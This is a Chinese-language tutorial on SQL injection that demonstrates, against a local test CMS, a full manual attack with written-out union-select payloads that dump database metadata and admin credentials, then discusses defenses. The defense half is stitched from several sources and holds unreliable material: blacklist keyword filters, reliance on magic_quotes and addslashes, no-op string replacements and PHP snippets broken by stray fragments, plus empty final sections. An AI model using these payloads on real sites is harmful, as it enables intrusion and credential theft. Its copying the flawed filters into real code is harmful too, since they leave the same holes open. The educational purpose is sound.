随着Web应用的高速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越大,越来越多的人加入了Web开发的行列。但是由于程序员的水平参差不齐或是安全意识太低,很多程序员在编写代码时仅考虑了功能上的实现,很少或是根本没有考虑应用的安全性问题。这就导致了很多应用都存在不同程度的安全漏洞。SQL注入便是其中的一种。
SQL注入作为一种很流行的攻击手段,一直以来都受到网络安全研究者和黑客们的广泛关注。那什么是SQL注入呢?SQL注入是这样一种攻击技术:攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意的SQL命令的一种攻击方式。
1.SQL注入(SQL Injection)定义
SQL注入是攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意的SQL命令的一种攻击方式。
2.SQL注入攻击危害
利用SQL注入漏洞,攻击者可以操纵数据库的数据(如得到数据库中的机密数据、随意更改数据库中的数据、删除数据库等等),在得到一定权限后还可以挂马,甚至得到整台服务器的管理员权限。由于SQL注入是通过网站正常端口(通常为80端口)来提交恶意SQL语句,表面上看起来和正常访问网站没有区别,如果不仔细查看WEB日志很难发现此类攻击,隐蔽性非常高。一旦程序出现SQL注入漏洞,危害相当大,所以我们对此应该给予足够的重视。
3.SQL注入漏洞原理
SQL注入的本质是恶意攻击者将SQL代码插入或添加到程序的参数中,而程序并没有对传入的参数进行正确处理,导致参数中的数据会被当做代码来执行,并最终将执行结果返回给攻击者。
我们来看一个例子,当访问http://www.a.com/cms/new.php?id=3时,在页面上会显示一篇id号为3的文章,在服务器端实际上会执行如下一段代码,如图1所示:
图1
上面的过程中实际执行的SQL语句如下:
Select * from news where id=3
现在我们在URL(http://www.a.com/cms/new.php?id=3)后面添加" and 1=1",此时实际执行的SQL语句是:
Select * from news where id=3 and 1=1
由于这个条件永远成立,所以返回的页面和正常页面相同。
当添加“ and 1=2”时,会执行如下SQL语句:
Select * from news where id=3 and 1=2
由于这个条件永远不成立,所以返回的页面和正常页面不同。
现在我们可以控制参数id的值来影响程序的返回结果。我们来分析一下图1中的代码,通过GET方式取的参数id的值后,直接用来构造动态SQL语句,并执行SQL查询。整个过程没有对变量id的值作任何处理,导致SQL注入漏洞的产生。
4.SQL注入典型流程
1.判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞
2.判断Web系统的数据库类型
3.判断数据库中表及相应字段的结构
4.构造注入语句,得到表中数据内容
5.查找网站管理员后台,用得到的管理员账号和密码登录
6.结合其他漏洞,想办法上传一个Webshell
7.进一步提权,得到服务器的系统权限
(注:以上为一般流程,根据实际情况,情况可能会有所不同。)
5.PHP+Mysql注入实例
为了方便测试,我们在本地搭建了一个Web系统环境,以攻击者的角度来渗透网站,让读者理解php+mysql注入的完整流程。URL是http://www.a.com/cms/index.php,网站首页截图如图2所示:
图2
(1)手工注入篇
1.查找注入点,判断网站是否存在SQL注入漏洞
首先打开网站,选择“企业新闻”的链接,随便选择一篇新闻,如图3所示。通过此URL(http://www.a.com/cms/new.php?id=3),我们可以确定此处存在一个参数为id,它的值等于3。
图3
现在我们在http://www.a.com/cms/new.php?id=3后面加一个单引号,会发现返回一个和正常页面不同的页面,如图4所示,这说明我们添加的单引号影响了程序的运行结果。此处很可能存在注入点,但有时仅用添加单引号的方法判断是否存在注入点并不准确。因为有的程序员认为只要简单过滤了单引号就可以避免SQL注入,所以在程序参数中只是简单过滤了单引号,并没有做其他处理。这时用添加单引号的方法去探测程序是否存在SQL注入漏洞时,是探测不到的;但实际上仍然存在SQL注入漏洞,可以通过其他方法探测到。
接着我们在http://www.a.com/cms/new.php?id=3后面添加" and 1=1"和“ and 1=2”,会发现当添加and 1=1时返回的页面和正常页面是一致的,如图5所示。
图5
当添加and 1=2时返回的页面和正常页面不一致,如图6所示。
图6
现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问http://www.a.com/cms/new.php?id=3时数据库中执行的SQL语句大概是这样的:
Select * from [表名] where id=3
添加and 1=1后的SQL语句:
Select * from [表名] where id=3 and 1=1 由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
添加and 1=2后的SQL语句:
Select * from [表名] where id=3 and 1=2 由于条件1=2永远为假,所以返回的页面和正常页面不一致
2.通过SQL注入,得到我们感兴趣的信息
上面我们确定了此系统存在SQL注入漏洞,下面就让我们来体验下SQL注入强大的威力吧。我们先来判断一下数据库类型以及版本,构造如下语句:
http://www.a.com/cms/new.php?id=3 and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。
接着我们再构造如下语句来暴表中字段:
a. http://www.a.com/cms/new.php?id=3 order by 10 返回错误页面,说明字段小于10
b. http://www.a.com/cms/new.php?id=3 order by 5 返回正常页面,说明字段介于5和10之间
c. http://www.a.com/cms/new.php?id=3 order by 7 返回错误页面,说明字段大于5小于7,可以判断字段数是6。下面我们再来确认一下
d. http://www.a.com/cms/new.php?id=3 order by 6 返回正常页面,说明字段确实是6
这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
下面我们构造如下的语句来确定哪些字段可以用来显示数据:
http://www.a.com/cms/new.php?id=0 union select 1,2,3,4,5,6
图7
根据返回信息,我们可以确定字段3,4,5,6可以用来显示数据,如图7所示。那么我们来构造下面的语句来得到一些数据库信息:
http://www.a.com/cms/new.php?id=0 union select 1,2,database(),version(),user(),6
图8
根据如图8所示的页面返回信息,我们可以得到如下信息:
数据库名:cms
数据库版本:5.1.51-community
用户名:root@localhost,并且Web系统和数据库在同一台服务器上
我们还可以构造别的语句来得到其他信息,如操作系统和数据库路径等等,这里可以自由发挥。根据上面的信息我们得知数据库为5.0以上版本。在mysql5.0以上版本中增加了一个系统库,叫information_schema,利用它我们可以直接暴库、表、字段。在5.0以下的版本中只能通过暴力猜解的方式去获得表名和字段名。下面我们来构造SQL语句暴出表名和字段名:
暴表名
http://www.a.com/cms/new.php?id=0 union select 1,2,table_name,4,5,6 from information_schema.tables where table_schema=0x636D73 limit 0,1
注:table_schema=[库名],库名要转换成16进制。Limit 0,1中的0表示查询库中第一个表,依此类推。
一直暴到第十二个表,发现一个表名为root的表,怀疑是管理员表。接着暴出这个表中的字段,构造如下SQL语句:
http://www.a.com/cms/new.php?id=0 union select 1,2,column_name,4,5,6 from information_schema.columns where table_name=0x726F6F74 limit 0,1
最终确认此表存在三个字段,分别是root_id、root_name和root_pass。初步判断此表应该是保存管理员账号和密码的。现在我们已经得到root表和其相应的字段名称。
暴表中的内容
构造如下SQL语句:
http://www.a.com/cms/new.php?id=0 union select 1,2,root_id,root_name,root_pass,6 from cms.root
图9
如图9所示,我们得到了管理员的账号和密码,密码是经过MD5加密的,经过解密后为123456。我们现在得到了管理员的账号和密码,只要找到管理员登录页面,就可以登录进入后台了。很快我们就找到了网站的后台地址:http://www.a.com/cms/isadmin/login.php
我们登录进去看下,如图10所示。
图10
现在我们有了网站管理员的权限,可以随意更改网站的信息(如添加、删除文章等),还可以结合其他漏洞上传一个Webshell,进一步提权获得服务器的系统权限。此处可以充分发挥自己的想像力。因为本文主要讲述SQL注入,所以关于提权的问题请查阅其他资料。
(2)工具注入篇
通过上面的介绍和手工注入实例,我们对SQL注入漏洞的原理和漏洞利用过程有了一个完整的了解。读者可能也发现手工注入比较繁琐,效率比较低,而且容易出错。但是手工注入能够加深对漏洞原理和漏洞利用过程的理解。当我们对这些都非常了解以后,我们可以利用工具来提高效率。现在有很多非常优秀的工具供我们选择,下面就演示一下利用工具进行SQL注入。这里选用业界非常著名的Havij来做演示。首先,打开Havij软件,界面如图11所示:
图11
一切设置完毕后,选择“Analyze”,很快就返回了结果,如图12和图13所示。
图12
6.SQL注入攻击防御
上面我们对SQL注入的原理和危害进行了讲解,并以攻击者的角度对SQL注入漏洞的利用过程进行了演示。下面我们以管理者的身份,从防御的角度来谈一下SQL防注入。
通过SQL注入的原理我们得知,要想成功利用SQL注入漏洞,需要同时满足两个条件,一是攻击者可以控制用户的输入,二是注入的代码要被成功执行。下面的内容主要围绕这两个方面来展开。
首先,我们需要对从其他地方传递过来的参数在进入数据库之前进行正确的处理。主要有以下几个方面:
1.使用预编译语句,绑定变量。
2.对传入的参数进行验证,确保符合应用中定义的标准。主要有白名单和黑名单两种方法来实现。从理论上来讲,白名单的安全性要比黑名单高,因为它只允许在白名单中定义的数据通过,其他数据都会被过滤掉。黑名单只会过滤定义在黑名单中的数据(比如SQL注入中的一些危险字符),通常使用正则表达式来实现。但需要注意的是,由于黑名单不可能包含所有的危险字符,所以可能会出现黑名单被绕过的情况。例如在mysql注入中,当在黑名单中过滤了空格字符,我们可以使用"/*(mysql中注释符)"和"+"来代替空格,绕过黑名单的限制继续注入,因此我们应该尽量多使用白名单。
除了对用户的输入进行了验证之外,有时因为程序员的安全意识和技术问题,也可能只是一个小小的疏忽,都有可能产生SQL注入漏洞。还有一种情况是,我们发现了SQL注入漏洞,但是由于条件所限或者其他原因,不能从代码层来修复漏洞。比如在某一企业中有一套Web系统是由A程序员开发的,过了一段时间A离职了。后来,发现这套系统存在SQL注入漏洞,这时再让A程序员回来修复漏洞几乎是不可能的。而其他程序员由于对这套系统不熟悉或是因为技术问题没有能力修复这个漏洞。这种情况在中小企业更为普遍。这时我们虽然不能从代码层修复漏洞,但我们可以采用一些其他方式来阻止漏洞被利用成功,把面临的风险降到最低。如可以布署WAF(Web应用防火墙)来阻断SQL注入攻击,虽然有些攻击者可以绕过WAF的限制,但毕竟是少数。对于绝大多数的攻击WAF都是可以检测到并阻断。即便是高水平的攻击者,在布署WAF以后,也会明显使漏洞利用变得困难。
最后,在数据库方面,应该使用“最小权限原则”,避免Web应用使用高权限账户直接连接数据库。如果有多个不同的应用使用同一数据库,则应该为每个应用分配不同的账户,并且只赋予必要的权限。
7.PHP防止sql注入原理介绍
虽然国内很多PHP程序员仍在依靠addslashes防止SQL注入,还是建议大家加强中文防止SQL注入的检查,addslashes的问题在 于黑客 可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,成为一个有效的多字节字符,其中的0xbf5c仍会被看作是单引号,所以addslashes无法成功拦截.
当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧.
打开magic_quotes_gpc来防止SQL注入,php.ini中有一个设置:magic_quotes_gpc = Off,这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,比如把 ' 转为 '等,对于防止sql注射有重大作用.
如果magic_quotes_gpc=Off,则使用addslashes()函数,另外对于php手册中get_magic_quotes_gpc的举例,代码如下:
if (!get_magic_quotes_gpc()) { $lastname = addslashes($_POST[‘lastname’]); } else { $lastname = $_POST[‘lastname’]; }
最好对magic_quotes_gpc已经开放的情况下,还是对$_POST[’lastname’]进行检查一下,再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别.
mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用,否则只能用 mysql_escape_string,两者的区别是:mysql_real_escape_string 考虑到连接的当前字符集,而mysql_escape_string 不考虑.
(1)mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集.
使用方法,代码如下:
$sql = "select count(*) as ctr from users where username02.='".mysql_real_escape_string($username)."' and 03.password='". mysql_real_escape_string($pw)."' limit 1";
PHP自定函数,代码如下:
function inject_check($sql_str) { return eregi('select|insert|and|or|update|delete|'|/*|*|../|./|union|into|load_file|outfile', $sql_str); } function verify_id($id=null) { if(!$id) { exit('没有提交参数!'); } elseif(inject_check($id)) { exit('提交的参数非法!'); } elseif(!is_numeric($id)) { exit('提交的参数非法!'); } $id = intval($id); return $id; } function str_check( $str ) { if(!get_magic_quotes_gpc()) { $str = addslashes($str); // 进行过滤 } $str = str_replace("_", "_", $str); $str = str_replace("%", "%", $str); return $str; } function post_check($post) { if(!get_magic_quotes_gpc()) { $post = addslashes($post); } //开源代码phpfensi.com $post = str_replace("_", "_", $post); $post = str_replace("%", "%", $post); $post = nl2br($post); $post = htmlspecialchars($post); return $post; }
总结一下:
* addslashes() 是强行加;
* mysql_real_escape_string() 会判断字符集,但是对PHP版本有要求;
* mysql_escape_string不考虑连接的当前字符集.
8.php防止sql注入原理介绍
dz中的防止sql注入就是用addslashes这个函数,同时在dthmlspecialchars这个函数中有进行一些替换$string = preg_replace(/&((#(d{3,5}|x[a-fA-F0-9]{4}));)/, &1,这个替换解决了注入的问题,同时也解决了中文乱码的一些问题.
防止sql注入这些细节问题一般是出现在大意程序员或者是新手程序员了,他们未对用户提交过来的数据进行一些非常过滤从而导致给大家测试一下就攻破了你的数据库了,下面我来简单的一个用户登录未进行安全配置可能出现的sql注入方法,下面一起来看看吧.
比如以下一段登录的代码:
if($l = @mysql_connect('localhost', 'root', '123')) or die('数据库连接失败'); mysql_select_db('test'); mysql_set_charset('utf8'); $sql = 'select * from test where username = "$username" and password = "$password"'; $res = mysql_query($sql); if(mysql_num_rows($res)){ header('Location:./home.php'); //开源代码phpfensi.com }else{ die('输入有误'); }
注意上面的sql语句,存在很大的安全隐患,如果使用以下万能密码和万能用户名,那么可以轻松进入页面,代码如下:
1. $sql = 'select * from test where username = "***" and password = "***" or 1 = "1"';
很明显,针对这条sql语句的万能密码是: ***" or 1 = "1
2. $sql = 'select * from test where username ="***" union select * from users/* and password = "***"';
正斜线* 表示后面的不执行,mysql支持union联合查询,所以直接查询出所有数据; 所以针对这条sql语句的万能用户名是:***" union select * from users/*
但是,此注入只针对代码中的sql语句,如果代码如下:
$sql = "select * from test where username = $username and password = $password";
上面的注入至少已经不管用了,不过方法是一样的;
在使用PDO之后,sql注入完全可以被避免,而且在这个快速开发的时代,框架横行,已然不用过多考虑sql注入问题了.
下面整理了两个防止sql注册函数,代码如下:
/* 过滤所有GET过来变量 */ foreach ($_GET as $get_key=>$get_var) { if (is_numeric($get_var)) { $get[strtolower($get_key)] = get_int($get_var); } else { $get[strtolower($get_key)] = get_str($get_var); } } /* 过滤所有POST过来的变量 */ foreach ($_POST as $post_key=>$post_var) { if (is_numeric($post_var)) { $post[strtolower($post_key)] = get_int($post_var); } else { $post[strtolower($post_key)] = get_str($post_var); } } /* 过滤函数 */ //整型过滤函数 function get_int($number) { return intval($number); } //字符串型过滤函数 function get_str($string) {//开源代码phpfensi.com if (!get_magic_quotes_gpc()) { return addslashes($string); } return $string; }
还有一些博客会这样写,代码如下:
<?php function post_check($post) { if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否为打开 { $post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤 } $post = str_replace("_", "\_", $post); // 把 '_'过滤掉 $post = str_replace("%", "\%", $post); // 把' % '过滤掉 $post = nl2br($post); // 回车转换 $post= htmlspecialchars($post); // html标记转换 return $post; } ?>
9.MySQL注释
很多时候注释也是sql注入的一部分。
10.我的总结
参考: